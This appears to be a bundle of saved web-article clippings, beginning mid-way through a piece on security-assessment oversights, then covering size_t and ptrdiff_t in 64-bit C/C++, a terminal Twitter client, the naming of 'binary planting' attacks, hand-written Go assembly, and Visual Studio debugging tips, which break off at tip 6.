Failing to account for behavior patterns within the organization can actually lead to invalid assumptions in the final assessment.
"For example, the assessment may verify that only the correct people have access to sensitive data," says Chris Baker, owner of CMB Computers, a technology consultancy. "However, the assessment may not verify training of employees to protect data." 
10. Leaving Out Facilities
As enterprises run their assessments, one big point that often falls off the radar is physical security. Quite often the security of facilities will directly impact the technology assets contained within, says Jim Mapes, CSO of BestIT, stating it goes beyond simply locking down data centers and server rooms. 
"Physical is not only a potential risk for the safety of employees and the loss of equipment or hardcopy data assets, but may also be used to plant clandestine devices to allow for follow-on attacks launched from a remote location," Mapes says.
Have a comment on this story? Please click "Add Your Comment" below. If you'd like to contact Dark Reading's editors directly, send us a message .
 
﻿http://agile.dzone.com/articles/about-sizet-and-ptrdifft 
About size_t and ptrdiff_t | Agile Zone
Created:
1/31/2012 7:42:36 PM
Updated:
1/31/2012 7:42:55 PM
Author:

Tags:
C++ analysis programming static


About size_t and ptrdiff_t
	
3

in
	Share
 
Submitted by Andrey Karpov on Mon, 2012/01/23 - 2:00am 
Tags: 64-bitCcppptrdiff_tsize_t
Abstract
The article will help the readers understand what size_t and ptrdiff_t types are, what they are used for and when they must be used. The article will be interesting for those developers who begin creation of 64-bit applications where use of size_t and ptrdiff_t types provides high performance, possibility to operate large data sizes and portability between different platforms.
Introduction
Before we begin I would like to notice that the definitions and recommendations given in the article refer to the most popular architectures for the moment (IA-32, Intel 64, IA-64) and may not fully apply to some exotic architectures.
The types size_t and ptrdiff_t were created to perform correct address arithmetic. It had been assumed for a long time that the size of int coincides with the size of a computer word (microprocessor's capacity) and it can be used as indexes to store sizes of objects or pointers. Correspondingly, address arithmetic was built with the use of int and unsigned types as well. int type is used in most training materials on programming in C and C++ in the loops' bodies and as indexes. The following example is nearly a canon:
view source
print
?
1.
for (int i = 0; i < n; i++)
2.
a[i] = 0;
As microprocessors developed over time and their capacity increased, it became irrational to further increase int type's sizes. There are a lot of reasons for that: economy of memory used, maximum portability etc. As a result, several data model appeared declaring the relations of C/C++ base types. Table N1 shows the main data models and lists the most popular systems using them.

Table N1. Data models 
As you can see from the table, it is not so easy to choose a variable's type to store a pointer or an object's size. To find the smartest solution of this problem size _t and ptrdiff_t types were created. They are guaranteed to be used for address arithmetic. And now the following code must become a canon:
view source
print
?
1.
for (ptrdiff_t i = 0; i < n; i++)
2.
a[i] = 0;
It is this code that can provide safety, portability and good performance. The rest of the article explains why.
size_t type
size_t type is a base unsigned integer type of C/C++ language. It is the type of the result returned by sizeof operator. The type's size is chosen so that it could store the maximum size of a theoretically possible array of any type. On a 32-bit system size_t will take 32 bits, on a 64-bit one 64 bits. In other words, a variable of size_t type can safely store a pointer. The exception is pointers to class functions but this is a special case. Although size_t can store a pointer, it is better to use another unsinged integer type uintptr_t for that purpose (its name reflects its capability). The types size_t and uintptr_t are synonyms. size_t type is usually used for loop counters, array indexing and address arithmetic.
The maximum possible value of size_t type is constant SIZE_MAX.
ptrdiff_t type
ptrdiff_t type is a base signed integer type of C/C++ language. The type's size is chosen so that it could store the maximum size of a theoretically possible array of any type. On a 32-bit system ptrdiff_t will take 32 bits, on a 64-bit one 64 bits. Like in size_t, ptrdiff_t can safely store a pointer except for a pointer to a class function. Also, ptrdiff_t is the type of the result of an expression where one pointer is subtracted from the other (ptr1-ptr2). ptrdiff_t type is usually used for loop counters, array indexing, size storage and address arithmetic. ptrdiff_t type has its synonym intptr_t whose name indicates more clearly that it can store a pointer.
Portability of size_t and ptrdiff_t
The types size_t and ptrdiff_t enable you to write well-portable code. The code created with the use of size_t and ptrdiff_t types is easy-portable. The size of size_t and ptrdiff_t always coincide with the pointer's size. Because of this, it is these types that should be used as indexes for large arrays, for storage of pointers and pointer arithmetic.
Linux-application developers often use long type for these purposes. Within the framework of 32-bit and 64-bit data models accepted in Linux, this really works. long type's size coincides with the pointer's size. But this code is incompatible with Windows data model and, consequently, you cannot consider it easy-portable. A more correct solution is to use types size_t and ptrdiff_t.
As an alternative to size_t and ptrdiff_t, Windows-developers can use types DWORD_PTR, SIZE_T, SSIZE_T etc. But still it is desirable to confine to size_t and ptrdiff_t types. 
Safety of ptrdiff_t and size_t types in address arithmetic
Address arithmetic issues have been occurring very frequently since the beginning of adaptation of 64-bit systems. Most problems of porting 32-bit applications to 64-bit systems relate to the use of such types as int and long which are unsuitable for working with pointers and type arrays. The problems of porting applications to 64-bit systems are not limited by this, but most errors relate to address arithmetic and operation with indexes.
Here is a simplest example:
view source
print
?
1.
size_t n = ...;
2.
for (unsigned i = 0; i < n; i++)
3.
a[i] = 0;
If we deal with the array consisting of more than UINT_MAX items, this code is incorrect. It is not easy to detect an error and predict the behavior of this code. The debug-version will hung but hardly will anyone process gigabytes of data in the debug-version. And the release-version, depending on the optimization settings and code's peculiarities, can either hung or suddenly fill all the array cells correctly producing thus an illusion of correct operation. As a result, there appear floating errors in the program occurring and vanishing with a subtlest change of the code. To learn more about such phantom errors and their dangerous consequences see the article "A 64-bit horse that can count" [1].
Another example of one more "sleeping" error which occurs at a particular combination of the input data (values of A and B variable):
view source
print
?
1.
int A = -2;
2.
unsigned B = 1;
3.
int array[5] = { 1, 2, 3, 4, 5 };
4.
int *ptr = array + 3;
5.
ptr = ptr + (A + B); //Error
6.
printf("%i\n", *ptr);
This code will be correctly performed in the 32-bit version and print number "3". After compilation in 64-bit mode there will be a fail when executing the code. Let's examine the sequence of code execution and the cause of the error:
· A variable of int type is cast into unsigned type;
· A and B are summed. As a result, we get 0xFFFFFFFF value of unsigned type;
· "ptr + 0xFFFFFFFFu" expression is calculated. The result depends on the pointer's size on the current platform. In the 32-bit program, the expression will be equal to "ptr - 1" and we will successfully print number 3. In the 64-bit program, 0xFFFFFFFFu value will be added to the pointer and as a result, the pointer will be far beyond the array's limits.


Such errors can be easily avoided by using size_t or ptrdiff_t types. In the first case, if the type of "i" variable is size_t, there will be no infinite loop. In the second case, if we use size_t or ptrdiff_t types for "A" and "B" variable, we will correctly print number "3".
Let's formulate a guideline: wherever you deal with pointers or arrays you should use size_t and ptrdiff_t types.
To learn more about the errors you can avoid by using size_t and ptrdiff_t types, see the following articles:
· 20 issues of porting C++ code on the 64-bit platform [2];
· Safety of 64-bit code [3];
· Traps detection during migration of C and C++ code to 64-bit Windows [4].


Performance of code using ptrdiff_t and size_t
Besides code safety, the use of ptrdiff_t and size_t types in address arithmetic can give you an additional gain of performance. For example, using int type as an index, the former's capacity being different from that of the pointer, will lead to that the binary code will contain additional data conversion commands. We speak about 64-bit code where pointers' size is 64 bits and int type's size remains 32 bits. 
It is a difficult task to give a brief example of size_t type's advantage over unsigned type. To be objective we should use the compiler's optimizing abilities. And the two variants of the optimized code frequently become too different to show this very difference. We managed to create something like a simple example only with a sixth try. And still the example is not ideal because it demonstrates not those unnecessary data type conversions we spoke above, but that the compiler can build a more efficient code when using size_t type. Let's consider a program code arranging an array's items in the inverse order:
view source
print
?
1.
unsigned arraySize;
2.
...
3.
for (unsigned i = 0; i < arraySize / 2; i++)
4.
{
5.
float value = array[i];
6.
array[i] = array[arraySize - i - 1];
7.
array[arraySize - i - 1] = value;
8.
}
In the example, "arraySize" and "i" variables have unsigned type. This type can be easily replaced with size_t type, and now compare a small fragment of assembler code shown on Figure 1.

Figure N1.Comparison of 64-bit assembler code when using unsigned and size_t types 
The compiler managed to build a more laconic code when using 64-bit registers. I am not affirming that the code created with the use of unsigned type will operate slower than the code using size_t. It is a very difficult task to compare speeds of code execution on modern processors. But from the example you can see that when the compiler operates arrays using 64-bit types it can build a shorter and faster code.
Proceeding from my own experience I can say that reasonable replacement of int and unsigned types with ptrdiff_t and size_t can give you an additional performance gain up to 10% on a 64-bit system. You can see an example of speed increase when using ptrduff_t and size_t types in the fourth section of the article "Development of Resource-intensive Applications in Visual C++" [5].
Code refactoring with the purpose of moving to ptrdiff_t and size_t
As the reader can see, using ptrdiff_t and size_t types gives some advantages for 64-bit programs. However, it is not a good way out to replace all unsigned types with size_t ones. Firstly, it does not guarantee correct operation of a program on a 64-bit system. Secondly, it is most likely that due to this replacement, new errors will appear data format compatibility will be violated and so on. You should not forget that after this replacement the memory size needed for the program will greatly increase as well. And increase of the necessary memory size will slow down the application's work for cache will store fewer objects being dealt with.
Consequently, introduction of ptrdiff_t and size_t types into old code is a task of gradual refactoring demanding a great amount of time. In fact, you should look through the whole code and make the necessary alterations. Actually, this approach is too expensive and inefficient. There are two possible variants:
1. To use specialized tools like Viva64 included into PVS-Studio. Viva64 is a static code analyzer detecting sections where it is reasonable to replace data types for the program to become correct and work efficiently on 64-bit systems. To learn more, see "PVS-Studio Tutorial" [6].
2. If you do not plan to adapt a 32-bit program for 64-bit systems, there is no sense in data types' refactoring. A 32-bit program will not benefit in any way from using ptrdiff_t and size_t types.
References
1. Andrey Karpov. A 64-bit horse that can count. http://www.viva64.com/art-1-2-377673569.html
2. Andrey Karpov, Evgeniy Ryzhkov. 20 issues of porting C++ code on the 64-bit platform. http://www.viva64.com/art-1-2-599168895.html
3. Andrey Karpov. Safety of 64-bit code. http://www.viva64.com/art-1-2-416605136.html
4. Andrey Karpov, Evgeniy Ryzhkov. Traps detection during migration of C and C++ code to 64-bit Windows. http://www.viva64.com/art-1-2-2140958669.html
5. Andrey Karpov, Evgeniy Ryzhkov. Development of Resource-intensive Applications in Visual C++. http://www.viva64.com/art-1-2-2014169752.html
6. Evgeniy Ryzhkov. PVS-Studio Tutorial. http://www.viva64.com/art-4-2-747004748.html

﻿http://synflood.at/baconbird.html 
AK's website - baconbird
Created:
1/5/2011 1:13:32 PM
Updated:
1/5/2011 1:13:40 PM
Author:

Tags:
Twitter


AK's website
baconbird
Introduction
Baconbird is a Twitter client for text terminals.

Screenshots
· Screenshot 1
· Screenshot 2
· Screenshot 3
Releases
· 2010-10-21: baconbird 0.2
· 2010-10-05: baconbird 0.1
Dependencies
Baconbird depends on a number of software packages and libraries, which need to be installed beofre baconbird can be used.
· Perl (5.10 or newer): http://www.perl.org/
· STFL (0.21 or newer): http://www.clifford.at/stfl/
· Perl modules: 
o Moose
o Net::Twitter
o WWW::Shorten
o URI::Find
o HTML::Strip
o IO::Socket::SSL
Debian comes with ready-to-use packages for these dependencies.
License
Baconbird is licensed under the MIT/X Consortium License.
Changes
You can view the latest changelog here.
Documentation
You can view the latest documentation here.
﻿http://blog.acrossecurity.com/2011/05/binary-planting-vs-dll-hijacking-vs.html 
ACROS Security Blog: "Binary Planting" vs. "DLL Hijacking" vs. "Insecure Library Loading"
Created:
5/10/2011 5:42:02 PM
Updated:
5/10/2011 5:42:02 PM
Author:

Tags:
Microsoft windows environment DLL


TUESDAY, MAY 10, 2011
"Binary Planting" vs. "DLL Hijacking" vs. "Insecure Library Loading"
Binary Planting's Multiple Identities

When a new thing occurs or is invented, or when a previously obscure thing becomes popular, a need emerges to give it a name so we can talk and write about it. It was no different with binary planting, DLL hijacking, DLL preloading, insecure library loading, DLL load hijacking and DLL spoofing. Except that, unfortunately, these different names all essentially describe the same thing - an attack* against a Windows application where this application loads a malicious executable instead of some intended legitimate one. We get asked a lot why we choose to use the term binary planting, so here's our reasoning.

One major reason for us to dislike words "DLL" or "library" in the name is that this problem affects not only dynamic-link libraries but also other types of executables. Furthermore, "DLL" sounds as if the insecurely loaded library always has a ".dll" extension - which is not the case, as our research has found applications trying to load libraries with extensions ".ocx", ".nls", ".tbp" and many other funny extensions. We chose to use the noun binary, which covers all types of executables involved in these vulnerabilities. So why not simply use executable? Executable is too long a word and would probably quickly be shortened to "EXE," causing a similar misunderstanding we already have with "DLL."

As for other shortcomings of the alternative terms:


· DLL hijacking implies that either a DLL gets hijacked or something gets hijacked using a DLL. But in large majority of binary planting vulnerabilities the binary (for instance, a DLL) in question does not exist - that is, until the attacker plants it. You can't hijack something that doesn't exist. One could say that a vulnerable application gets hijacked through a malicious DLL but then every vulnerability could be called hijacking of some sort. Note, however, that before Windows XP SP2, the dynamic-link libraries search order had the current working directory in the 2nd place, which produced a lot of possibilities to actually hijack an existing DLL (e.g., one from the Windows system folder) by placing a malicious copy with the same name in the current working directory. Back then, hijacking would have sounded more suitable.   
· DLL preloading implies that some presumably malicious DLL gets loaded in advance (of something). We find no such advance-loading process taking place in the context of this vulnerability.
· Insecure (library) loading sounds accurate as long as it's only libraries one considers. When other executables (EXEs or COMs, for example) join the party, loading is not a very suitable term any more. While technically, these also get loaded before they're executed, it's more common - and more understandable - to say they get ran, started, executed or launched.
· DLL load hijacking is a little better than DLL hijacking as it implies that it is the process of loading that gets hijacked (and used for malicious purposes). However, this term contains an unfortunate hard-to-pronounce triple-L, and is likely to quickly (d)evolve into DLL hijacking. In addition, loading is not a very suitable term for non-library executables.   
· DLL spoofing is actually a nice term, short and accurate, but has long been widely used for another similar but conceptually very different activity, namely manually replacing an existing DLL on one's own computer in order to change the behavior of an application or operating system. This activity has nothing to do with security, at least not in terms of one person (attacker) doing something bad to another person (user), since the user does it to himself, so to speak.   

We chose the verb planting because, in our opinion, it accurately describes what the attacker needs to do in order to carry out the attack: planting a malicious binary somewhere where a vulnerable application will pick it up and execute it.

So these are our reasons for preferring the term binary planting to other alternatives for describing the entire scope of the problem. As it currently seems, DLL hijacking (for describing an attack) and insecure library loading (for describing a vulnerability) are here to stay as well, at least for libraries. This will certainly continue to cause unneeded confusion but perhaps a vulnerability class that has been overlooked for such a long time deserves more than one name.


(* Strictly speaking, the term insecure library loading does not describe an attack, but a vulnerability.) 

﻿https://blog.sgmansfield.com/2017/04/a-foray-into-go-assembly-programming/ 
A Foray Into Go Assembly Programming · Scott Mansfield
Created:
5/7/2017 10:40:04 AM
Updated:
5/7/2017 10:40:04 AM
Author:

Tags:
asm golang




A Foray Into Go Assembly Programming
Apr 21, 2017 · 12 minute read · 6 Comments 
GoASM
This blog post started last August when I was integrating the Spectator PercentileTimer concept into the metrics library in Rend so we could get better cross-fleet latency percentiles.
As a part of doing this, I had to port the code that selects which bucket (counter) to increment inside the PercentileTimer distribution. A PercentileTimer is implemented as a large array of counters, each of which represent a bucket. They are incremented whenever the observation lands in that bucket. The Atlas backend can then use these (properly tagged) counters as a group to derive cross-fleet percentiles within a couple percent error. The bucketing scheme divides the range of int64 into powers of 4, which are then subdivided linearly by 3 for the set of final buckets. This code is farly quick to run and compact, if a bit obtuse at first.
Side note: optimizations
When I saw a divide by 3, I shuddered a little bit because I assumed it would be less efficient to do the division as a DIV instruction instead of as a shift operation like a divide by 4 or 2 would be. Little did I know that people had solved this problem before. It’s a common compiler optimization to apply Montgomery Division when the division is by an integer constant. In this case, a divide by 3 is equivalent to multiplying by 0x55555556 and then taking the top half of the output. Thanks, StackOverflow
The descent
At this point I was also looking for an excuse to program something in assembly with Go. I actually already had a couple of other files in Rend that had assembly in them, but they were borrowed from other places and not my own original work. I wanted to translate this bucket selection code into assembly to see how fast I could make it.
The first step was to translate it into Go code so I had something to compare my assembly code against. This was easy as it was pretty straightforward to change the Java code into Go. The only hangup was recreating the indexes array that is part of the static initialization in the Java code.
From there, it was time to create the function and just get it set up to be called. This is where the trickery begins. From here on this post is mostly a list of things that I ran into that I had to do some research to solve.
Go version
This is the entire Go version of the code below for reference. This is the original code that I am working off of throughout this process. In this code, lzcnt is another assembly function stolen from Rend that just returns the number of leading zeros of a uint64.
const numBuckets = 276

var powerOf4Index = []int{
	0, 3, 14, 23, 32, 41, 50, 59, 68, 77, 86, 95, 104,
	113, 122, 131, 140, 149, 158, 167, 176, 185, 194,
	203, 212, 221, 230, 239, 248, 257, 266, 275,
}

func getBucket(n uint64) uint64 {
	if n <= 15 {
		return n
	}

	rshift := 64 - lzcnt(n) - 1
	lshift := rshift

	if lshift&1 == 1 {
		lshift--
	}

	prevPowerOf4 := (n >> rshift) << lshift
	delta := prevPowerOf4 / 3
	offset := int((n - prevPowerOf4) / delta)
	pos := offset + powerOf4Index[lshift/2]

	if pos >= numBuckets-1 {
		return numBuckets - 1
	}

	return uint64(pos + 1)
}
The setup
Declaring an assembly function is more complex than a standard function. There is the equivalent of a C function declaration in Go code and then the actual assembly implementation in another .s file.
There’s a few things that are sticky when making a new function:
“Bridging” Go and ASM
This is something I had a little difficulty with because the method was not entirely clear at first.
In order to be able to compile the program, you need to create a Go version of the function declaration in a .go file alongside the .s file that contains the assembly implementation:
func getBucketASM(n uint64) uint64
The way to think about this, at least in my mind, is that this is your interface definition in Go and the implementation is in assembly in another file. Go code uses the interface.
The middot and (SB)
Function names in Go assembly files start with a middot character (·). The function declaration starts like this:
TEXT ·getBucketASM(SB)
TEXT means that the following is meant for the text section of the binary (runnable code). Next comes the middot · then the name of the function. Immediately after the name the extra (SB) is required. This means “static base” and is an artifact of the Plan9 assembly format. The real reason, from the Plan9 ASM documentation, is that functions and static data are located at offsets relative to the beginning of the start address of the program.
I literally copy-paste the middot every time. Who has a middot key?
To NOSPLIT or not to NOSPLIT
The asm doc says this about NOSPLIT:
NOSPLIT = 4 (For TEXT items.) Don’t insert the preamble to check if the stack must be split. The frame for the routine, plus anything it calls, must fit in the spare space at the top of the stack segment. Used to protect routines such as the stack splitting code itself.
In this function’s case, we can add NOSPLIT because the function doesn’t use any stack space at all beyond the arguments it receives. The annotation was probably not strictly necessary, but it’s fine to use in this case. At this point I’m still not sure how the “spare space” at the top of the stack works and I haven’t found a good bit of documentation to tell me.
How much stack space?
If your function requires more space than you have registers, you may need to spill on to the stack temporarily. In this case, you need to tell the compiler how much extra space you need in bytes. This function doesn’t need that many temporary variables, so it doesn’t spill out of the registers. That means we can use $0 as our stack space. The stack space is the last thing we need on the declaration line.
At this point we have one line done!
TEXT ·getBucketASM(SB), 4, $0
I have 4 written instead of NOSPLIT because I wasn’t quite doing things right. I’ll get to that in the next section.
Static array
In order to make the algorithm work, I needed to declare a static array of numbers that represent offsets into the array of counters. First, I derived a declaration from the standard library AES GCM code:
GLOBL powerOf4Index<>(SB), (NOPTR+RODATA), $256
> unexpected NOPTR evaluating expression
This didn’t work, however, because the NOPTR and RODATA symbols were undefined. I tried each on their own:
GLOBL powerOf4Index<>(SB), RODATA, $256
> illegal or missing addressing mode for symbol RODATA

GLOBL powerOf4Index<>(SB), NOPTR, $256
> illegal or missing addressing mode for symbol NOPTR
Again, same result. To be expected, because they weren’t defined before. I didn’t know this at the time, though, because I was flailing about in the dark. I tried it without the annotation at all:
GLOBL powerOf4Index<>(SB), $256
> missing Go type information for global symbol
Again, no dice. It needs something there to tell the compiler how to treat the data.
It took me a while to find, but the asm documentation on the official Go website was actually the most helpful here. For “some unknown reason,” my code was unable to compile with the mnemonics so I just replaced RODATA and NOPTR with the numbers that represent them:
GLOBL powerOf4Index<>(SB), (8+16), $256
Aha! These two symbols tell the compiler to treat the “array” as a constant and not having any pointers.
Of course hindsight is 20⁄20, meaning that after this entire exercise was over I found the proper header file to include to get these symbols. I didn’t figure out how to actually compile my code with this header file in place for this post, but the assembly files in the Go codebase all include it right at the top:
#include "textflag.h"
It’s also important to note how the data is laid out. Each DATA line is declaring a value for a given 8 byte chunk of the static data. The name of the “array” is first, followed by the offset (the type of which is defined in this picture from Plan9) and the size, then finally the value. After all of the DATA lines are complete, the GLOBL symbol powerOf4Index is declared along with some flags and its total size.
Now the Go array
var powerOf4Index = []int{
	0, 3, 14, 23, 32, 41, 50, 59, 68, 77, 86, 95, 104,
	113, 122, 131, 140, 149, 158, 167, 176, 185, 194,
	203, 212, 221, 230, 239, 248, 257, 266, 275,
}
has become this block of assembly DATA declarations:
DATA powerOf4Index<>+0x00(SB)/8, $0
DATA powerOf4Index<>+0x08(SB)/8, $3
DATA powerOf4Index<>+0x10(SB)/8, $14
DATA powerOf4Index<>+0x18(SB)/8, $23
DATA powerOf4Index<>+0x20(SB)/8, $32
DATA powerOf4Index<>+0x28(SB)/8, $41
DATA powerOf4Index<>+0x30(SB)/8, $50
DATA powerOf4Index<>+0x38(SB)/8, $59
DATA powerOf4Index<>+0x40(SB)/8, $68
DATA powerOf4Index<>+0x48(SB)/8, $77
DATA powerOf4Index<>+0x50(SB)/8, $86
DATA powerOf4Index<>+0x58(SB)/8, $95
DATA powerOf4Index<>+0x60(SB)/8, $104
DATA powerOf4Index<>+0x68(SB)/8, $113
DATA powerOf4Index<>+0x70(SB)/8, $122
DATA powerOf4Index<>+0x78(SB)/8, $131
DATA powerOf4Index<>+0x80(SB)/8, $140
DATA powerOf4Index<>+0x88(SB)/8, $149
DATA powerOf4Index<>+0x90(SB)/8, $158
DATA powerOf4Index<>+0x98(SB)/8, $167
DATA powerOf4Index<>+0xa0(SB)/8, $176
DATA powerOf4Index<>+0xa8(SB)/8, $185
DATA powerOf4Index<>+0xb0(SB)/8, $194
DATA powerOf4Index<>+0xb8(SB)/8, $203
DATA powerOf4Index<>+0xc0(SB)/8, $212
DATA powerOf4Index<>+0xc8(SB)/8, $221
DATA powerOf4Index<>+0xd0(SB)/8, $230
DATA powerOf4Index<>+0xd8(SB)/8, $239
DATA powerOf4Index<>+0xe0(SB)/8, $248
DATA powerOf4Index<>+0xe8(SB)/8, $257
DATA powerOf4Index<>+0xf0(SB)/8, $266
DATA powerOf4Index<>+0xf8(SB)/8, $275

// RODATA == 8
// NOPTR == 16

GLOBL powerOf4Index<>(SB), (8+16), $256
If you properly import textflag.h then you could just change the declaration to be like it was originally:
GLOBL powerOf4Index<>(SB), (NOPTR+RODATA), $256
As for most of my struggles, careful reading of the Go ASM doc would have explained this to me.
Troubleshooting the shifts
Illegal instruction
This is what I was faced with. Not much information there. I did manage to isolate the error to the most recent bit of code I had added, which had both a SHRQ and a SHLQ, which shift a quadword (64 bits) right and left, respectively. These can shift by a fixed amount or by a dynamic amount. I needed to use the dynamic amount in this case. The same mnemonic actually produces two different encodings at the binary level because the instructions for dynamic and static shift amounts are different.
I had written the code to use some arbitrary register because I hadn’t thought anything of it at the time. It so turns out that the assembler was smart enough to recognize that the instruction was not actually encodeable, which is what the error message meant in the first place.
I dug around a little bit, not really knowing exactly where to start. Eventually, I looked at the SSA code in the Go compiler to see what kind of logic they had around the instruction. Jackpot.
The SSA code showed me only CX can be used as a variable shift amount:
//...
{
	name:         "SHRQ",
	argLen:       2,
	resultInArg0: true,
	asm:          x86.ASHRQ,
	reg: regInfo{
		inputs: []inputInfo{
			{1, 2},     // CX
			{0, 65519}, // AX CX DX BX BP SI DI R8 R9 R10 R11 R12 R13 R14 R15
		},
		clobbers: 8589934592, // FLAGS
		outputs: []regMask{
			65519, // AX CX DX BX BP SI DI R8 R9 R10 R11 R12 R13 R14 R15
		},
	},
},
//...
After this I had a bit of an epiphany: I could have just looked at the Intel manuals the whole time. In the manual (page 4-582 Volume 2B) it shows only the CL register being usable as the shift amount for the dynamic versions of SHR and SHL.
Final code
I’ve reproduced the entire assembly version of the code here without comments for brevity. If you want to see the entire thing, you can take a look at the source files below. This code depends on the data declaration above.
TEXT ·getBucketASM(SB), 4, $0
        MOVQ x+0(FP), R8
        CMPQ R8, $16
        JC underSixteen
sixteenAndOver:
        BSRQ R8, BX
        SUBQ $63, BX
        NEGQ BX
        MOVQ $63, R10
        SUBQ BX, R10
        MOVQ R10, BX
        MOVL $1, CX
        ANDQ R10, CX
        JEQ powerOfFour
        SUBQ $1, R10
powerOfFour:
        MOVQ R8, R9
        MOVQ BX, CX
        SHRQ CX, R9
        MOVQ R10, CX
        SHLQ CX, R9
        MOVQ $0x5555555555555556, AX
        MULQ R9
        MOVQ DX, BX
        MOVQ R8, AX
        SUBQ R9, AX
        MOVQ $0, DX 
        DIVQ BX
        SHLQ $2, R10
        LEAQ powerOf4Index<>(SB), DX
        MOVQ (DX)(R10*1), BX
        ADDQ BX, AX
        CMPQ AX, $275
        JGE bucketOverflow
        ADDQ $1, AX
        MOVQ AX, ret+8(FP)
        RET
bucketOverflow:
        MOVQ $275, ret+8(FP)
        RET
underSixteen:
        MOVQ R8, ret+8(FP)
        RET
Benchmarks
So what did all this struggle get me?
I wrote up some benchmarks to compare three versions of the code:
1. The original Go version above
2. The same Go code above but with //go:noinline to try to control for inlining
3. The assembly version
$ go test -run asdsdf -bench . -count 100 | tee -a benchdata
...
$ benchstat benchdata
name                 time/op
GetBucket-8          17.4ns ± 2%
GetBucketNoInline-8  17.4ns ± 2%
GetBucketASM-8       12.8ns ± 1%
The answer is 4.6ns.
If it took me 4 hours to write this code, it would have to run 3.13043478 × 1012 times to be worthwhile. Luckily, this code would be run that many times in about a day or so in production at Netflix.
However, I didn’t use it.
I have a couple reasons:
1. Maintenance. If this code needs to be changed in the future by me or anyone else, I (or they) would need to brush up on assembly on x86, Go assembly quirks, etc. in order to do so. There’s quite a lot of overhead in that.
2. The time difference wasn’t worth optimizing in this case. I only did it for fun. The latency of this code is in the low dozens of microseconds, so saving 15 or 20 nanoseconds per request is not useful. There are bigger fish to fry that won’t introduce the programmer overhead of assembly code.
For those of you wondering, I did actually benchmark the ported Go code before starting this whole process.
I know this may sound rather disappointing, doing all this work without putting it into production, but it was a fantastic exercise in learning Go assembly idiosyncrasies. Hopefully this chronicle of my struggles helps you overcome some small hurdle in your assembly ventures.
Please let me know what you think about this article in the comments or @sgmansfield on twitter.
Files
If you would like to peruse the files that made up this work in their entirety, you can find them here:
· Consolidated Java code to get the static data
· bucket_test.go
· bucket_test_asm.go
· bucket_test_amd64.s
· lzcnt.go
· lzcnt_asm.go
· lzcnt_amd64.s
You can also see them at the GitHub repository for this blog.
References
Sites / documents:
· https://golang.org/doc/asm
· http://plan9.bell-labs.com/sys/doc/asm.html
· http://plan9.bell-labs.com/sys/doc/asm0.png
· https://software.intel.com/en-us/articles/intel-sdm
· https://goroutines.com/asm
Code:
· https://golang.org/src/crypto/aes/gcm_amd64.s
· https://golang.org/src/runtime/sys_windows_amd64.s
· https://github.com/golang/go/blob/3572c6418b5032fbd7e888e14fd9ad5afac85dfc/src/cmd/compile/internal/ssa/opGen.go#L1964
﻿https://blogs.msdn.microsoft.com/visualstudio/2017/06/26/7-lesser-known-hacks-for-debugging-in-visual-studio/ 
7 lesser known hacks for debugging in Visual Studio
Created:
6/29/2017 3:49:11 PM
Updated:
6/29/2017 3:49:11 PM
Author:

Tags:





7 lesser known hacks for debugging in Visual Studio
★★★★★★★★★★★★★★★
June 26, 2017 by Visual Studio Blog // 27 Comments
Share
192
178
The Visual Studio debugger is a magical beast that can save you loads of time while finding and fixing issues in your application. It is chock-full of tools that can make debugging easier... if you know they exist, and where to find them! Let’s look at 7 lesser known goodies you can use to help you #SuperChargeYourDebugging.
1. Click to Set Next Statement
Many of you may know about the context menu item Set Next Statement (Ctrl+Shift+F10) that moves the yellow arrow (the instruction pointer) to the target line of code. You may also know that you grab and drag the yellow arrow up and down in the gutter to move it. What you probably didn’t know is that as of Visual Studio 2017 version 15,3 Preview there is an even easier way to target a line and Set Next Statement.
1. Hover over the line of code where you want to move the yellow arrow.
2. Hold the CTRL key and notice the Run to Click (Run execution to here) glyph changes into the Set Next Statement glyph.
3. Click on that glyph and the yellow arrow will move to that line.
4. This line will be the next statement to execute when taking a step or pressing Continue (F5).

2. Break when a value changes
Have you been in a situation while debugging where you inspect an object’s property at one breakpoint and by the time you get to the next breakpoint that property has changed unexpectedly. You can set a breakpoint on the setter in the class, but this breaks for every instance of the object type! What if you only care about one problematic instance? When debugging C++ code, Data Breakpoints can help you out. If you are debugging managed code, you can use Make Object ID plus a Conditional Breakpoint to narrow your search for the problem area.
1. When you get to a breakpoint with the interesting instance right click on the object and select Make Object ID. This gives you a handle to that object in memory, referenced by “$1”.
2. Go to the setter of the property you care about and add a condition to the breakpoint,
“this == $1”
3. Press Continue (F5) and now you will break in the setter when that property changes for that instance.
4. Look at the Call Stack and double click on the previous frame. This will take you to the line of code that is changing the property for this specific instance of the object.

Note: The object ID refers to the object’s address in memory and consequently will change with every new debug session. So, if you need to restart debugging, be sure to right click and re-create the object ID. The handle ($1) won’t change, so you can leave your breakpoint as is between debug sessions.
3. Reattach to Process
This is a true time-saver introduced in Visual Stuido 2017 that many of you have yet to discover. It is extremely helpful when you are working on a project where you need to use “Attach to Process” but you find yourself consistently attaching to the same thing session after session.
1. Start from the Attach to Process dialog (Ctrl+Alt+P) and select the process or processes that you want to debug and click “Attach”.
2. When you terminate that debugging session go to the Debug menu on the toolbar.
3. Click Reattach to Process or use shortcut key (Shift +Alt+P).

For more in-depth details about Reattach to Process check out this blog post.
4. Show Threads in Source
Debugging a multithreaded application is rarely easy, but when you can see in the editor what lines of code each thread in currently on, it gets a lot better.
1. In the debugger toolbar, toggle the button “Show Threads in Source”
2. A glyph will appear in the breakpoint gutter next to each line of code where at least one thread is currently stopped.
3. Hover over the thread marker icon to see the thread ids and names for all threads currently stopped on that line of code.
4. Right click on the thread to see available actions you can perform like freezing and switching the active thread.

Note: This functionality comes with some performance overhead and can feel like it slows down debugging. We recommend turning it off when you aren’t actively using it. 
5. Step through one single thread without jumping around
How often are you debugging multithreaded code, when you hit your first breakpoint, take a step, and then suddenly you are stopped with the yellow arrow on another thread? The unexpected behavior comes from the breakpoint still being set and consequently being hit. By default, the debugger will stop on a breakpoint any time it is hit. This means that when you take a step, all threads are allowed to run, and one of your running threads hit this breakpoint before the step completes on your current thread. Next time you get in this situation try this:
1. Disable or delete the breakpoint that has been hit by the new thread the debugger switched to.
2. Press Continue (F5)
3. Observe how your first initial step on that first thread completes and now is the active debugging context.
4. Since your breakpoints are deleted or disabled, you can continue stepping on that single thread without interruption.

6. Debug.ListCallStacks -allThreads
When there are lots of threads, there can be lots of call stacks to figure out. You may need to inspect all of them to get a good picture of what state your application is in. You can always see a visual representation of the call stacks for each thread by using the Parallel Stacks window (Debug/Windows/ Parallel Stacks). You can also see a text based, copy/paste-able version of the call stack for each thread using the Command window.
1. Open the Command Window (View/Other Windows/Command Window).
2. Type “Debug.ListCallStacks – allThreads”
